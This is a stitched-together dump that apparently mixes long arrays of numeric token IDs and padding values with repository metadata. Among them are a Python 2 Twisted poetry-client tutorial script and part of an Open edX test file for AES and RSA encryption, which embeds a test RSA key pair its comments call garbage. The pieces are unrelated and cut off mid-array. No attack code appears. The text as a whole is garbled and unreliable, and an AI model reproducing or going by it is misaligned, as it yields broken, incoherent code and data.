199, 3, 259, 347, 511, 63, 2119, 1606, 8, 277, 304, 199, 3, 263, 408, 1799, 314, 2446, 2034, 402, 3261, 1022, 1187, 10041, 1041, 199, 3, 263, 1166, 275, 283, 1014, 13827, 83, 15, 5484, 11681, 15, 74, 439, 290, 15, 2113, 15, 1246, 63, 1612, 7, 450, 291, 14, 1102, 719, 199, 3, 263, 1382, 275, 291, 14, 1939, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 327, 1104, 340, 11485, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 11485, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 3856, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 2113, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 199, 3, 259, 347, 511, 63, 9053, 63, 498, 8, 277, 304, 199, 3, 263, 408, 1799, 340, 282, 892, 3261, 790, 365, 2737, 15, 5334, 6657, 1041, 199, 3, 263, 1166, 275, 283, 1014, 13827, 83, 15, 5484, 11681, 15, 74, 439, 290, 15, 2113, 15, 1246, 63, 1612, 7, 450, 291, 14, 1102, 719, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 3856, 8, 633, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 263, 1824, 275, 1382, 14, 2246, 360, 964, 297, 1305, 534, 981, 13, 269, 13, 873, 13, 1246, 13, 498, 358, 199, 3, 263, 8966, 63, 354, 275, 283, 774, 2876, 7, 199, 3, 263, 8966, 63, 2123, 275, 283, 751, 32, 2694, 14, 957, 7, 199, 3, 263, 13237, 63, 354, 275, 283, 9846, 12, 3277, 3530, 199, 3, 263, 2881, 63, 952, 63, 5693, 275, 283, 2694, 14, 957, 7, 199, 3, 263, 1382, 275, 291 ]
[ 2647, 15, 1393, 15, 1548, 18, 14, 23, 199, 3, 2644, 26, 2774, 13, 24, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 774, 5560, 367, 1284, 13, 475, 13, 500, 5343, 14, 221, 3378, 543, 314, 1654, 63, 2219, 2884, 1041, 199, 199, 646, 11234, 199, 646, 2197, 199, 646, 3031, 199, 646, 3031, 14, 1291, 199, 646, 8691, 199, 646, 747, 199, 646, 4613, 199, 646, 295, 199, 646, 13804, 199, 646, 984, 199, 646, 5549, 199, 646, 900, 199, 646, 2882, 199, 646, 7097, 199, 199, 504, 6233, 14, 15358, 14, 1246, 492, 5935, 199, 199, 646, 1101, 199, 504, 950, 492, 16547, 63, 2632, 12, 13873, 3377, 63, 6305, 63, 3876, 12, 6944, 63, 6305, 63, 3876, 199, 646, 5235, 63, 3871, 199, 504, 1402, 492, 627, 199, 504, 19397, 492, 9141, 63, 9438, 63, 19080, 742, 3579, 199, 646, 3982, 63, 1246, 199, 504, 5944, 492, 7337, 12, 7337, 12320, 199, 646, 295, 432, 279, 199, 646, 10328, 321, 199, 646, 3272, 63, 9928, 465, 3272, 199, 504, 511, 63, 80, 25533, 492, 1318, 63, 3028, 199, 504, 1318, 63, 1131, 492, 4516, 3227, 199, 646, 3778, 199, 504, 1654, 63, 2219, 63, 1095, 492, 7146, 2925, 1563, 421, 199, 3, 3254, 8, 651, 745, 304, 5325, 2621, 63, 305, 63, 3856, 342, 436, 295, 13, 4296, 314, 2295, 14, 199, 3, 533, 13986, 1197, 14552, 2925, 8, 3120, 2925, 1563, 304, 199, 3, 259, 408, 2925, 367, 3261, 790, 10041, 14918, 1041, 199, 3, 199, 3, 259, 790, 63, 8110, 63, 3856, 275, 298, 411, 32, 2694, 14, 957, 2, 199, 3, 258, 199, 3, 259, 347, 2621, 63, 305, 63, 3856, 8, 277, 12, 931, 12, 1011, 958, 304, 199, 3, 263, 408, 19617, 71, 2335, 370, 314, 1627, 931, 543, 376, 4182, 4676, 1041, 199, 3, 263, 340, 440, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 26, 199, 3, 3322, 10328, 321, 14, 409, 7792, 8, 277, 14, 83, 14, 30552, 12, 291, 14, 1102, 719, 12, 199, 3, 19242, 788, 2374, 63, 571, 1000, 63, 2886, 2458, 83, 26, 549, 26, 17, 7, 450, 199, 3, 22456, 291, 14, 498, 63, 8110, 63, 3856, 566, 199, 3, 3322, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 715, 199, 3, 263, 372, 291, 14, 1939, 8, 515, 12, 1011, 958, 9, 199, 3, 199, 3, 259, 347, 2621, 63, 305, 63, 2113, 8, 277, 12, 931, 12, 1011, 958, 304, 199, 3, 263, 408, 7776, 10367, 63, 262, 63, 305, 63, 3856, 370, 756, 1041, 199, 3, 263, 2203, 275, 7146, 2925, 1563, 14, 1939, 63, 305, 63, 2113, 8, 277, 12, 931, 12, 1011, 958, 9, 199, 3, 263, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 756, 199, 3, 263, 372, 2203, 199, 3, 199, 3, 259, 347, 3613, 8, 277, 304, 199, 3, 263, 7146, 2925, 1563, 14, 5996, 8, 277, 9, 199, 3, 263, 291, 14, 12419, 63, 262, 63, 305, 63, 3856, 275, 756, 199, 3, 263, 1101, 14, 409, 63, 509, 63, 3417, 8, 199, 3, 3322, 283, 74, 439, 290, 297, 199, 3, 3322, 790, 63, 8110, 63, 12688, 1524, 277, 14, 498, 63, 8110, 63, 3856, 566, 199, 3, 199, 3, 259, 347, 511, 63, 2119, 1606, 8, 277, 304, 199, 3, 263, 408, 1799, 314, 2446, 2034, 402, 3261, 1022, 1187, 10041, 1041, 199, 3, 263, 1166, 275, 283, 1014, 13827, 83, 15, 5484, 11681, 15, 74, 439, 290, 15, 2113, 15, 1246, 63, 1612, 7, 450, 291, 14, 1102, 719, 199, 3, 263, 1382, 275, 291, 14, 1939, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 327, 1104, 340, 11485, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 11485, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 3856, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 2113, 8, 633, 12, 17784, 29, 16, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 199, 3, 259, 347, 511, 63, 9053, 63, 498, 8, 277, 304, 199, 3, 263, 408, 1799, 340, 282, 892, 3261, 790, 365, 2737, 15, 5334, 6657, 1041, 199, 3, 263, 1166, 275, 283, 1014, 13827, 83, 15, 5484, 11681, 15, 74, 439, 290, 15, 2113, 15, 1246, 63, 1612, 7, 450, 291, 14, 1102, 719, 199, 3, 263, 1382, 275, 291, 14, 1939, 63, 305, 63, 3856, 8, 633, 9, 199, 3, 263, 702, 291, 14, 83, 14, 1205, 508, 1926, 199, 3, 263, 702, 283, 3735, 2606, 8259, 7, 315, 1382, 14, 505, 199, 3, 263, 1824, 275, 1382, 14, 2246, 360, 964, 297, 1305, 534, 981, 13, 269, 13, 873, 13, 1246, 13, 498, 358, 199, 3, 263, 8966, 63, 354, 275, 283, 774, 2876, 7, 199, 3, 263, 8966, 63, 2123, 275, 283, 751, 32, 2694, 14, 957, 7, 199, 3, 263, 13237, 63, 354, 275, 283, 9846, 12, 3277, 3530, 199, 3, 263, 2881, 63, 952,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
leixinstar/twisted-intro
twisted-client-2/get-poetry.py
10
3108
# This is the Twisted Get Poetry Now! client, version 2.0. # NOTE: This should not be used as the basis for production code. import datetime, optparse from twisted.internet.protocol import Protocol, ClientFactory def parse_args(): usage = """usage: %prog [options] [hostname]:port ... This is the Get Poetry Now! client, Twisted version 2.0. Run it like this: python get-poetry.py port1 port2 port3 ... If you are in the base directory of the twisted-intro package, you could run it like this: python twisted-client-2/get-poetry.py 10001 10002 10003 to grab poetry from servers on ports 10001, 10002, and 10003. Of course, there need to be servers listening on those ports for that to work. """ parser = optparse.OptionParser(usage) _, addresses = parser.parse_args() if not addresses: print parser.format_help() parser.exit() def parse_address(addr): if ':' not in addr: host = '127.0.0.1' port = addr else: host, port = addr.split(':', 1) if not port.isdigit(): parser.error('Ports must be integers.') return host, int(port) return map(parse_address, addresses) class PoetryProtocol(Protocol): poem = '' task_num = 0 def dataReceived(self, data): self.poem += data msg = 'Task %d: got %d bytes of poetry from %s' print msg % (self.task_num, len(data), self.transport.getPeer()) def connectionLost(self, reason): self.poemReceived(self.poem) def poemReceived(self, poem): self.factory.poem_finished(self.task_num, poem) class PoetryClientFactory(ClientFactory): task_num = 1 protocol = PoetryProtocol # tell base class what proto to build def __init__(self, poetry_count): self.poetry_count = poetry_count self.poems = {} # task num -> poem def buildProtocol(self, address): proto = ClientFactory.buildProtocol(self, address) proto.task_num = self.task_num self.task_num += 1 return proto def poem_finished(self, task_num=None, poem=None): if task_num is not None: self.poems[task_num] = poem self.poetry_count -= 1 if self.poetry_count == 0: self.report() from twisted.internet import reactor reactor.stop() def report(self): for i in self.poems: print 'Task %d: %d bytes of poetry' % (i, len(self.poems[i])) def clientConnectionFailed(self, connector, reason): print 'Failed to connect to:', connector.getDestination() self.poem_finished() def poetry_main(): addresses = parse_args() start = datetime.datetime.now() factory = PoetryClientFactory(len(addresses)) from twisted.internet import reactor for address in addresses: host, port = address reactor.connectTCP(host, port, factory) reactor.run() elapsed = datetime.datetime.now() - start print 'Got %d poems in %s' % (len(addresses), elapsed) if __name__ == '__main__': poetry_main()
mit
[ 3, 961, 365, 314, 17078, 2372, 4376, 386, 651, 7356, 1, 1890, 12, 1015, 499, 14, 16, 14, 199, 199, 3, 6944, 26, 961, 1077, 440, 506, 1202, 465, 314, 5597, 367, 9920, 1233, 14, 199, 199, 646, 2197, 12, 8691, 199, 199, 504, 7390, 14, 4901, 14, 3922, 492, 11557, 12, 6810, 2927, 421, 199, 318, 2198, 63, 589, 837, 272, 4503, 275, 408, 3807, 26, 450, 6595, 359, 1419, 61, 359, 4269, 2189, 719, 2263, 199, 199, 2765, 365, 314, 2372, 4376, 386, 651, 7356, 1, 1890, 12, 17078, 1015, 499, 14, 16, 14, 199, 2540, 652, 2839, 642, 26, 819, 2366, 664, 13, 555, 386, 651, 14, 647, 1844, 17, 1844, 18, 1844, 19, 2263, 199, 199, 3917, 1265, 787, 315, 314, 1300, 2082, 402, 314, 7390, 13, 18206, 2559, 12, 199, 13297, 4293, 1255, 652, 2839, 642, 26, 819, 2366, 7390, 13, 1258, 13, 18, 15, 362, 13, 555, 386, 651, 14, 647, 2948, 614, 2948, 996, 5198, 19, 199, 199, 475, 18200, 1115, 386, 651, 687, 8037, 641, 8873, 2948, 614, 12, 2948, 996, 12, 436, 5198, 19, 14, 199, 199, 3466, 2518, 12, 2337, 1929, 370, 506, 8037, 22721, 641, 5204, 8873, 199, 509, 626, 370, 1736, 14, 199, 624, 339, 1798, 275, 8691, 14, 14553, 8, 3807, 9, 339, 5501, 7149, 275, 1798, 14, 1122, 63, 589, 342, 339, 340, 440, 7149, 26, 267, 870, 1798, 14, 908, 63, 3437, 342, 267, 1798, 14, 2224, 342, 339, 347, 2198, 63, 1562, 8, 2697, 304, 267, 340, 10871, 440, 315, 5552, 26, 288, 1591, 275, 283, 4195, 14, 16, 14, 16, 14, 17, 7, 288, 1844, 275, 5552, 267, 587, 26, 288, 1591, 12, 1844, 275, 5552, 14, 1294, 16451, 413, 9, 398, 340, 440, 1844, 14, 13896, 837, 288, 1798, 14, 705, 360, 25573, 1471, 506, 9446, 2659, 398, 372, 1591, 12, 1109, 8, 719, 9, 339, 372, 2341, 8, 1122, 63, 1562, 12, 7149, 9, 421, 199, 533, 4376, 386, 651, 3658, 8, 3658, 304, 339, 1115, 5633, 275, 2125, 272, 2120, 63, 1507, 275, 378, 339, 347, 666, 9392, 8, 277, 12, 666, 304, 267, 291, 14, 555, 5633, 847, 666, 267, 1499, 275, 283, 4476, 450, 68, 26, 4788, 450, 68, 2783, 402, 1115, 386, 651, 687, 450, 83, 7, 267, 870, 221, 1499, 450, 334, 277, 14, 1765, 63, 1507, 12, 822, 8, 576, 395, 291, 14, 5545, 14, 362, 12566, 1012, 339, 347, 1950, 14074, 8, 277, 12, 4499, 304, 267, 291, 14, 555, 5633, 9392, 8, 277, 14, 555, 5633, 9, 339, 347, 1115, 5633, 9392, 8, 277, 12, 1115, 5633, 304, 267, 291, 14, 3702, 14, 555, 5633, 63, 8669, 8, 277, 14, 1765, 63, 1507, 12, 1115, 5633, 9, 421, 199, 533, 4376, 386, 651, 30115, 8, 30115, 304, 339, 2120, 63, 1507, 275, 413, 339, 4113, 275, 4376, 386, 651, 3658, 327, 11480, 1300, 1021, 4052, 4104, 370, 1900, 339, 347, 636, 826, 721, 277, 12, 1115, 386, 651, 63, 835, 304, 267, 291, 14, 555, 386, 651, 63, 835, 275, 1115, 386, 651, 63, 835, 267, 291, 14, 555, 69, 706, 275, 1052, 327, 2120, 1967, 1035, 1115, 5633, 339, 347, 1900, 3658, 8, 277, 12, 2287, 304, 267, 4104, 275, 6810, 2927, 14, 1506, 3658, 8, 277, 12, 2287, 9, 267, 4104, 14, 1765, 63, 1507, 275, 291, 14, 1765, 63, 1507, 267, 291, 14, 1765, 63, 1507, 847, 413, 267, 372, 4104, 339, 347, 1115, 5633, 63, 8669, 8, 277, 12, 2120, 63, 1507, 29, 403, 12, 1115, 5633, 29, 403, 304, 267, 340, 2120, 63, 1507, 365, 440, 488, 26, 288, 291, 14, 555, 69, 706, 59, 1765, 63, 1507, 61, 275, 1115, 5633, 398, 291, 14, 555, 386, 651, 63, 835, 4862, 413, 398, 340, 291, 14, 555, 386, 651, 63, 835, 508, 378, 26, 288, 291, 14, 3070, 342, 288, 687, 7390, 14, 4901, 492, 9655, 288, 9655, 14, 2379, 342, 339, 347, 3622, 8, 277, 304, 267, 367, 284, 315, 291, 14, 555, 69, 706, 26, 288, 870, 283, 4476, 450, 68, 26, 450, 68, 2783, 402, 1115, 386, 651, 7, 450, 334, 73, 12, 822, 8, 277, 14, 555, 69, 706, 59, 73, 2459, 339, 347, 1890, 3225, 4276, 8, 277, 12, 13252, 12, 4499, 304, 267, 870, 283, 4276, 370, 4907, 370, 6536, 13252, 14, 362, 13151, 342, 267, 291, 14, 555, 5633, 63, 8669, 342, 421, 199, 318, 1115, 386, 651, 63, 973, 837, 272, 7149, 275, 2198, 63, 589, 342, 339, 1343, 275, 2197, 14, 2083, 14, 2131, 342, 339, 6434, 275, 4376, 386, 651, 30115, 8, 552, 8, 7423, 430, 339, 687, 7390, 14, 4901, 492, 9655, 339, 367, 2287, 315, 7149, 26, 267, 1591, 12, 1844, 275, 2287, 267, 9655, 14, 2242, 9735, 8, 1102, 12, 1844, 12, 6434, 9, 339, 9655, 14, 1065, 342, 339, 14439, 275, 2197, 14, 2083, 14, 2131, 342, 446, 1343, 339, 870, 283, 13662, 450, 68, 1115, 69, 706, 315, 450, 83, 7, 450, 334, 552, 8, 7423, 395, 14439, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1115, 386, 651, 63, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 365, 314, 17078, 2372, 4376, 386, 651, 7356, 1, 1890, 12, 1015, 499, 14, 16, 14, 199, 199, 3, 6944, 26, 961, 1077, 440, 506, 1202, 465, 314, 5597, 367, 9920, 1233, 14, 199, 199, 646, 2197, 12, 8691, 199, 199, 504, 7390, 14, 4901, 14, 3922, 492, 11557, 12, 6810, 2927, 421, 199, 318, 2198, 63, 589, 837, 272, 4503, 275, 408, 3807, 26, 450, 6595, 359, 1419, 61, 359, 4269, 2189, 719, 2263, 199, 199, 2765, 365, 314, 2372, 4376, 386, 651, 7356, 1, 1890, 12, 17078, 1015, 499, 14, 16, 14, 199, 2540, 652, 2839, 642, 26, 819, 2366, 664, 13, 555, 386, 651, 14, 647, 1844, 17, 1844, 18, 1844, 19, 2263, 199, 199, 3917, 1265, 787, 315, 314, 1300, 2082, 402, 314, 7390, 13, 18206, 2559, 12, 199, 13297, 4293, 1255, 652, 2839, 642, 26, 819, 2366, 7390, 13, 1258, 13, 18, 15, 362, 13, 555, 386, 651, 14, 647, 2948, 614, 2948, 996, 5198, 19, 199, 199, 475, 18200, 1115, 386, 651, 687, 8037, 641, 8873, 2948, 614, 12, 2948, 996, 12, 436, 5198, 19, 14, 199, 199, 3466, 2518, 12, 2337, 1929, 370, 506, 8037, 22721, 641, 5204, 8873, 199, 509, 626, 370, 1736, 14, 199, 624, 339, 1798, 275, 8691, 14, 14553, 8, 3807, 9, 339, 5501, 7149, 275, 1798, 14, 1122, 63, 589, 342, 339, 340, 440, 7149, 26, 267, 870, 1798, 14, 908, 63, 3437, 342, 267, 1798, 14, 2224, 342, 339, 347, 2198, 63, 1562, 8, 2697, 304, 267, 340, 10871, 440, 315, 5552, 26, 288, 1591, 275, 283, 4195, 14, 16, 14, 16, 14, 17, 7, 288, 1844, 275, 5552, 267, 587, 26, 288, 1591, 12, 1844, 275, 5552, 14, 1294, 16451, 413, 9, 398, 340, 440, 1844, 14, 13896, 837, 288, 1798, 14, 705, 360, 25573, 1471, 506, 9446, 2659, 398, 372, 1591, 12, 1109, 8, 719, 9, 339, 372, 2341, 8, 1122, 63, 1562, 12, 7149, 9, 421, 199, 533, 4376, 386, 651, 3658, 8, 3658, 304, 339, 1115, 5633, 275, 2125, 272, 2120, 63, 1507, 275, 378, 339, 347, 666, 9392, 8, 277, 12, 666, 304, 267, 291, 14, 555, 5633, 847, 666, 267, 1499, 275, 283, 4476, 450, 68, 26, 4788, 450, 68, 2783, 402, 1115, 386, 651, 687, 450, 83, 7, 267, 870, 221, 1499, 450, 334, 277, 14, 1765, 63, 1507, 12, 822, 8, 576, 395, 291, 14, 5545, 14, 362, 12566, 1012, 339, 347, 1950, 14074, 8, 277, 12, 4499, 304, 267, 291, 14, 555, 5633, 9392, 8, 277, 14, 555, 5633, 9, 339, 347, 1115, 5633, 9392, 8, 277, 12, 1115, 5633, 304, 267, 291, 14, 3702, 14, 555, 5633, 63, 8669, 8, 277, 14, 1765, 63, 1507, 12, 1115, 5633, 9, 421, 199, 533, 4376, 386, 651, 30115, 8, 30115, 304, 339, 2120, 63, 1507, 275, 413, 339, 4113, 275, 4376, 386, 651, 3658, 327, 11480, 1300, 1021, 4052, 4104, 370, 1900, 339, 347, 636, 826, 721, 277, 12, 1115, 386, 651, 63, 835, 304, 267, 291, 14, 555, 386, 651, 63, 835, 275, 1115, 386, 651, 63, 835, 267, 291, 14, 555, 69, 706, 275, 1052, 327, 2120, 1967, 1035, 1115, 5633, 339, 347, 1900, 3658, 8, 277, 12, 2287, 304, 267, 4104, 275, 6810, 2927, 14, 1506, 3658, 8, 277, 12, 2287, 9, 267, 4104, 14, 1765, 63, 1507, 275, 291, 14, 1765, 63, 1507, 267, 291, 14, 1765, 63, 1507, 847, 413, 267, 372, 4104, 339, 347, 1115, 5633, 63, 8669, 8, 277, 12, 2120, 63, 1507, 29, 403, 12, 1115, 5633, 29, 403, 304, 267, 340, 2120, 63, 1507, 365, 440, 488, 26, 288, 291, 14, 555, 69, 706, 59, 1765, 63, 1507, 61, 275, 1115, 5633, 398, 291, 14, 555, 386, 651, 63, 835, 4862, 413, 398, 340, 291, 14, 555, 386, 651, 63, 835, 508, 378, 26, 288, 291, 14, 3070, 342, 288, 687, 7390, 14, 4901, 492, 9655, 288, 9655, 14, 2379, 342, 339, 347, 3622, 8, 277, 304, 267, 367, 284, 315, 291, 14, 555, 69, 706, 26, 288, 870, 283, 4476, 450, 68, 26, 450, 68, 2783, 402, 1115, 386, 651, 7, 450, 334, 73, 12, 822, 8, 277, 14, 555, 69, 706, 59, 73, 2459, 339, 347, 1890, 3225, 4276, 8, 277, 12, 13252, 12, 4499, 304, 267, 870, 283, 4276, 370, 4907, 370, 6536, 13252, 14, 362, 13151, 342, 267, 291, 14, 555, 5633, 63, 8669, 342, 421, 199, 318, 1115, 386, 651, 63, 973, 837, 272, 7149, 275, 2198, 63, 589, 342, 339, 1343, 275, 2197, 14, 2083, 14, 2131, 342, 339, 6434, 275, 4376, 386, 651, 30115, 8, 552, 8, 7423, 430, 339, 687, 7390, 14, 4901, 492, 9655, 339, 367, 2287, 315, 7149, 26, 267, 1591, 12, 1844, 275, 2287, 267, 9655, 14, 2242, 9735, 8, 1102, 12, 1844, 12, 6434, 9, 339, 9655, 14, 1065, 342, 339, 14439, 275, 2197, 14, 2083, 14, 2131, 342, 446, 1343, 339, 870, 283, 13662, 450, 68, 1115, 69, 706, 315, 450, 83, 7, 450, 334, 552, 8, 7423, 395, 14439, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1115, 386, 651, 63, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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63
3638
import base64 from nose.tools import assert_equals from lms.djangoapps.verify_student.ssencrypt import ( aes_decrypt, aes_encrypt, encrypt_and_encode, decode_and_decrypt, rsa_decrypt, rsa_encrypt ) def test_aes(): key_str = "32fe72aaf2abb44de9e161131b5435c8d37cbdb6f5df242ae860b283115f2dae" key = key_str.decode("hex") def assert_roundtrip(text): assert_equals(text, aes_decrypt(aes_encrypt(text, key), key)) assert_equals( text, decode_and_decrypt( encrypt_and_encode(text, key), key ) ) assert_roundtrip("Hello World!") assert_roundtrip("1234567890123456") # AES block size, padding corner case # Longer string assert_roundtrip("12345678901234561234567890123456123456789012345601") assert_roundtrip("") assert_roundtrip("\xe9\xe1a\x13\x1bT5\xc8") # Random, non-ASCII text def test_rsa(): # Make up some garbage keys for testing purposes. pub_key_str = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1hLVjP0oV0Uy/+jQ+Upz c+eYc4Pyflb/WpfgYATggkoQdnsdplmvPtQr85+utgqKPxOh+PvYGW8QNUzjLIu4 5/GlmvBa82i1jRMgEAxGI95bz7j9DtH+7mnj+06zR5xHwT49jK0zMs5MjMaz5WRq BUNkz7dxWzDrYJZQx230sPp6upy1Y5H5O8SnJVdghsh8sNciS4Bo4ZONQ3giBwxz h5svjspz1MIsOoShjbAdfG+4VX7sVwYlw2rnQeRsMH5/xpnNeqtScyOMoz0N9UDG dtRMNGa2MihAg7zh7/zckbUrtf+o5wQtlCJL1Kdj4EjshqYvCxzWnSM+MaYAjb3M EQIDAQAB -----END PUBLIC KEY-----""" priv_key_str = """-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA1hLVjP0oV0Uy/+jQ+Upzc+eYc4Pyflb/WpfgYATggkoQdnsd plmvPtQr85+utgqKPxOh+PvYGW8QNUzjLIu45/GlmvBa82i1jRMgEAxGI95bz7j9 DtH+7mnj+06zR5xHwT49jK0zMs5MjMaz5WRqBUNkz7dxWzDrYJZQx230sP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z3P0Z4cNSJPYIvwpPaY+IkE2SyO vzuYj0Mx7/Ew9ZTueXVGyzv6PfqOhJqZ8mNscZIlIyAAVWwxsHwRTfvPlo882xzP 97i1R4OFTYSNNFi+69sSZ/9utGjZ2K73pjJuj487tD2VK5xZAH9edTd2KeNSP7LB MlpJNBECgYAmIswPdldm+G8SJd5j9O2fcDVTURjKAoSXCv2j4gEZzzfudpLWNHYu l8N6+LEIVTMAytPk+/bImHvGHKZkCz5rEMSuYJWOmqKI92rUtI6fz5DUb3XSbrwT 3W+sdGFUK3GH1NAX71VxbAlFVLUetcMwai1+wXmGkRw6A7YezVFnhw== -----END RSA PRIVATE KEY-----""" aes_key_str = "32fe72aaf2abb44de9e161131b5435c8d37cbdb6f5df242ae860b283115f2dae" aes_key = aes_key_str.decode('hex') encrypted_aes_key = rsa_encrypt(aes_key, pub_key_str) assert_equals(aes_key, rsa_decrypt(encrypted_aes_key, priv_key_str)) # Even though our AES key is only 32 bytes, RSA encryption will make it 256 # bytes, and base64 encoding will blow that up to 344 assert_equals(len(base64.urlsafe_b64encode(encrypted_aes_key)), 344)
agpl-3.0
[ 646, 1300, 772, 199, 504, 11354, 14, 2537, 492, 702, 63, 11332, 199, 199, 504, 21577, 14, 16432, 14, 4712, 63, 5500, 14, 83, 31561, 492, 334, 272, 282, 397, 63, 15682, 12, 282, 397, 63, 11929, 12, 14645, 63, 460, 63, 2143, 12, 4849, 63, 460, 63, 15682, 12, 272, 23609, 63, 15682, 12, 23609, 63, 11929, 199, 9, 421, 199, 318, 511, 63, 17499, 837, 272, 790, 63, 495, 275, 298, 708, 771, 2819, 31498, 18, 12198, 1602, 271, 25, 69, 975, 845, 2192, 66, 1477, 1276, 67, 24, 68, 1401, 2894, 697, 22, 70, 21, 1587, 13212, 3624, 14832, 66, 16029, 7680, 70, 18, 9747, 2, 272, 790, 275, 790, 63, 495, 14, 2708, 480, 4097, 531, 339, 347, 702, 63, 25920, 8, 505, 304, 267, 702, 63, 11332, 8, 505, 12, 282, 397, 63, 15682, 8, 17499, 63, 11929, 8, 505, 12, 790, 395, 790, 430, 267, 702, 63, 11332, 8, 288, 1318, 12, 288, 4849, 63, 460, 63, 15682, 8, 355, 14645, 63, 460, 63, 2143, 8, 505, 12, 790, 395, 355, 790, 288, 776, 267, 776, 339, 702, 63, 25920, 480, 6257, 13064, 9124, 272, 702, 63, 25920, 480, 11272, 9461, 1367, 531, 221, 327, 19093, 1853, 1568, 12, 6273, 17703, 1930, 272, 327, 491, 265, 836, 1059, 272, 702, 63, 25920, 480, 11272, 9461, 1367, 11272, 9461, 